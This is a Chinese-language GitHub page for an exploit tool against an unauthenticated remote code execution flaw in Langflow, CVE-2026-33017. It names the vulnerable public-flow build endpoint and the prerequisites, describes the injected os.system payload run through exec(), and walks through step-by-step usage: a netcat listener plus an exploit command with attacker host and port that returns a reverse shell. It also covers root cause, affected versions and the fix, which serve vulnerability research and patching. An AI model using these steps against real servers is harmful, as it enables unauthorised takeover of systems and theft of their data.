c0gnit00/CVE-2026-33017

GitHub: c0gnit00/CVE-2026-33017

针对 Langflow 未授权 RCE 漏洞(CVE-2026-33017)的 Python 自动化利用脚本,可通过公开 flow 端点远程执行任意代码并获取反弹 Shell。

Stars: 2 | Forks: 0

# CVE-2026-33017 - Langflow 未授权 RCE ## 概述 **CVE-2026-33017** 是 [Langflow](https://github.com/langflow-ai/langflow)(一个用于构建 LangChain 应用的可视化框架)中的一个未授权远程代码执行漏洞。 `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint 允许在未经身份验证的情况下构建公开 flow。当提供可选的 `data` 参数时,该 endpoint 会使用攻击者控制的 flow 数据(在节点定义中包含任意 Python 代码),而不是数据库中存储的 flow 数据。此代码在没有任何沙盒隔离的情况下被传递给 `exec()` 执行,从而导致未授权的远程代码执行。 ### 受影响版本 - Langflow <= 1.7.3 - 在 Langflow >= 1.8.2 中已修复 ### 利用前提条件 1. 目标 Langflow 实例至少有**一个公开 flow**(这在演示、聊天机器人、共享工作流中很常见) 2. 攻击者知道公开 flow 的 UUID(可通过共享链接/URL 发现) 3. 无需身份验证 —— 只需要一个 `client_id` cookie(可以是任意字符串值) ## 安装说明 ``` git clone https://github.com//CVE-2026-33017.git cd CVE-2026-33017 pip install requests ``` ## 使用方法 ### 1. 设置监听器 在您的攻击机器上,启动一个 netcat 监听器来接收反弹 shell: ``` nc -lvnp 4444 ``` ### 2. 运行 exploit ``` python3 CVE-2026-33017.py --url http://target:7860 --flow-id --lhost --lport 4444 ``` ### 参数 | 参数 | 是否必填 | 描述 | |----------|----------|-------------| | `--url` | 是 | 目标 URL(例如:`http://localhost:7860`) | | `--flow-id` | 是 | 公开 flow UUID | | `--lhost` | 是 | 您的监听器 IP 地址 | | `--lport` | 是 | 您的监听器端口 | | `--timeout` | 否 | 请求超时时间(秒)(默认:15) | ### 示例 ``` # Terminal 1: 启动 listener nc -lvnp 4444 # Terminal 2: 触发 exploit python3 CVE-2026-33017.py \ --url http://192.168.1.100:7860 \ --flow-id 550e8400-e29b-41d4-a716-446655440000 \ --lhost 10.0.0.5 \ --lport 4444 ``` ## 工作原理 1. **`craft_malicious_node()`** — 构造一个包含 `CustomComponent` 的恶意 Langflow 节点,其中带有攻击者控制的 Python 代码。该代码包含一个顶层的 `os.system()` 调用,会在图构建期间(甚至在 flow “运行”之前)执行。 2. **`fire_payload()`** — 将恶意节点以 JSON 格式发送到未经身份验证的 `build_public_tmp` endpoint,并附带一个随机的 `client_id` cookie。 3. **代码执行** — 服务器解析攻击者提供的 flow 数据,实例化自定义组件,并在 `prepare_global_scope()` 期间对内嵌代码调用 `exec()`。顶层赋值语句 `_r = __import__('os').system(...)` 会立即触发命令执行。 4. **反弹 Shell** — payload 会生成一个 Python 反弹 shell,连接回您的监听器。 ## 漏洞详情 ### 根本原因 `build_public_tmp` endpoint 被设计为无需身份验证(用于公开 flow),但它错误地通过 `data` 参数接受了攻击者提供的 flow 数据。当提供 `data` 时,它会绕过存储的 flow 数据,并将攻击者控制的节点直接传递给图构建器。 ### 建议修复方案 从 `build_public_tmp` 中移除 `data` 参数。公开 flow 应该只执行数据库中存储的 flow 数据,绝不能执行攻击者提供的数据。 ## 参考文献 - [NVD - CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017) - [Langflow Release 1.8.2](https://github.com/langflow-ai/langflow/releases/tag/1.8.2) ## 许可证 本项目仅供教育和授权的安全测试目的使用。
标签:CISA项目, Python, RCE, 威胁模拟, 无后门, 逆向工具